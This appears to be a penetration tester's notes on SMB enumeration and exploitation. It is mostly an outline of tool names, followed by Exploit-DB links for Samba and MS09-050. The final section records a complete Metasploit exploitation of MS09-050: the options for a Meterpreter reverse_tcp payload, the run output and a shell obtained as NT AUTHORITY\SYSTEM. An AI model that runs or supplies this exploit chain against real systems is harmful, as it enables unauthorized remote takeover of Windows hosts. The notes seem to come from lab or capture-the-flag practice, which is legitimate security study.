smb 139,445
SMB Enumeration
Guess Server's Version
Detect Server's version using nmap features.
Scanning
smbclient
smbmap
Scanning Vul
Other Tools
NetBIOS information
enum4linux
rpcclient
Connect to SMB
smbclient
smbmap
Mount Access
Windows
SMB Commands
Config Samba
/etc/samba/smb.conf
SMB CVE
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script'
https://www.exploit-db.com/exploits/16320
smb-vuln-cve2009-3103
Using python exploit but not complete, exploit here
ExploitDB: https://www.exploit-db.com/exploits/40280
$ python3 MS09_050.py ip
Enter WORKGROUP\Administrator's password:
Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE
Using msfconsole
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > show options
Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS ip yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
WAIT 180 yes The number of seconds to wait for the attack to complete.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST tun0 yes The listen address (an interface may be specified)
LPORT 445 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > run
[*] Started reverse TCP handler on ip
[*] ip:445 - Connecting to the target (ip:445)...
[*] ip:445 - Sending the exploit packet (951 bytes)...
[*] ip:445 - Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (175174 bytes) to ip
[*] Meterpreter session 2 opened (ip:445 -> ip:49159) at 2021-07-06 23:40:40 +0700
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM